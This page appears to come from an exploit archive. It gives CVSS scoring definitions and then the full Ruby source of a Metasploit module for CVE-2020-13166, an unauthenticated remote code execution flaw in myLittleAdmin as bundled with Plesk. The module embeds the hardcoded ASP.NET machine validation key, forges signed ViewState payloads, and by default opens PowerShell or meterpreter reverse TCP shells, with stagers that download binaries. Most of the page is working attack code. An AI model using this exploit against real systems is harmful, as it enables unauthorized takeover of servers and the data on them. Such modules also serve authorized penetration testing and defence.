The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Plesk / myLittleAdmin ViewState .NET Deserialization
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
# <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="CA0B0334" />
VIEWSTATE_GENERATOR = 'CA0B0334'.freeze
# <machineKey
# validationKey="5C7EEF6650639D2CB8FAA0DA36AF24452DCF69065F2EDC2C8F2F44C0220BE2E5889CA01A207FC5FCE62D1A5A4F6D2410722261E6A33E77E0628B17AA928039BF"
# decryptionKey="DC47E74EA278F789D2FF0E412AD840A89C10171F408D8AC4"
# validation="SHA1" />
VIEWSTATE_VALIDATION_KEY =
"\x5c\x7e\xef\x66\x50\x63\x9d\x2c\xb8\xfa\xa0\xda\x36\xaf\x24\x45\x2d\xcf" \
"\x69\x06\x5f\x2e\xdc\x2c\x8f\x2f\x44\xc0\x22\x0b\xe2\xe5\x88\x9c\xa0\x1a" \
"\x20\x7f\xc5\xfc\xe6\x2d\x1a\x5a\x4f\x6d\x24\x10\x72\x22\x61\xe6\xa3\x3e" \
"\x77\xe0\x62\x8b\x17\xaa\x92\x80\x39\xbf".freeze
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::ViewState
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Plesk/myLittleAdmin ViewState .NET Deserialization',
'Description' => %q{
This module exploits a ViewState .NET deserialization vulnerability in
web-based MS SQL Server management tool myLittleAdmin, for version 3.8
and likely older versions, due to hardcoded <machineKey> parameters in
the web.config file for ASP.NET.
Popular web hosting control panel Plesk offers myLittleAdmin as an
optional component that is selected automatically during "full"
installation. This exploit caters to the Plesk target, though it
should work fine against a standalone myLittleAdmin setup.
Successful exploitation results in code execution as the user running
myLittleAdmin, which is IUSRPLESK_sqladmin for Plesk and described as
the "SQL Admin MSSQL anonymous account."
Tested on the latest Plesk Obsidian with optional myLittleAdmin 3.8.
},
'Author' => [
# Reported to SecuriTeam SSD by an anonymous researcher
# Reference exploit written by said anonymous researcher
# Publicly disclosed by Noam Rathaus of SecuriTeam's SSD
'Spencer McIntyre', # Inspiration
'wvu' # Module
],
'References' => [
['CVE', '2020-13166'],
['URL', 'https://ssd-disclosure.com/ssd-advisory-mylittleadmin-preauth-rce/'],
['URL', 'https://portswigger.net/daily-swig/mylittleadmin-has-a-big-unpatched-security-flaw']
],
'DisclosureDate' => '2020-05-15', # SecuriTeam SSD advisory
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Windows Command',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
],
[
'Windows Dropper',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'CmdStagerFlavor' => %i[psh_invokewebrequest certutil vbs],
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
],
[
'PowerShell Stager',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
]
],
'DefaultTarget' => 2,
'DefaultOptions' => {
'SSL' => true,
'WfsDelay' => 10 # First exploit attempt may be a little slow
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(8401, true, 'The myLittleAdmin port (default for Plesk!)'),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
# XXX: https://github.com/rapid7/metasploit-framework/issues/12963
import_target_defaults
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
unless res
return CheckCode::Unknown('Target did not respond to check request.')
end
unless res.code == 200 && res.body.include?('myLittleAdmin for SQL Server')
return CheckCode::Unknown('Target is not running myLittleAdmin.')
end
vprint_good("myLittleAdmin is running at #{full_uri}")
check_viewstate(res.get_html_document)
end
def check_viewstate(html)
viewstate = html.at('//input[@id = "__VIEWSTATE"]/@value')&.text
unless viewstate
return CheckCode::Detected("__VIEWSTATE not found, can't complete check.")
end
@viewstate_generator =
html.at('//input[@id = "__VIEWSTATEGENERATOR"]/@value')&.text
unless @viewstate_generator
print_warning('__VIEWSTATEGENERATOR not found, using known default value')
@viewstate_generator = VIEWSTATE_GENERATOR
end
# ViewState generator needs to be a packed integer now
@viewstate_generator = [@viewstate_generator.to_i(16)].pack('V')
we_can_sign_viewstate = can_sign_viewstate?(
viewstate,
extra: @viewstate_generator,
key: VIEWSTATE_VALIDATION_KEY
)
if we_can_sign_viewstate
return CheckCode::Vulnerable('We can sign our own ViewState.')
end
CheckCode::Safe("We can't sign our own ViewState.")
end
def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :win_cmd
execute_command(payload.encoded)
when :win_dropper
execute_cmdstager
when :psh_stager
execute_command(cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
))
end
end
def execute_command(cmd, _opts = {})
vprint_status("Serializing command: #{cmd}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => {
# This is the only parameter we need for successful exploitation!
'__VIEWSTATE' => generate_viewstate_payload(
cmd,
extra: @viewstate_generator,
key: VIEWSTATE_VALIDATION_KEY
)
}
)
unless res && res.code == 302 && res.redirection.path == '/error/index.html'
fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
end
print_good("Successfully executed command: #{cmd}")
end
end
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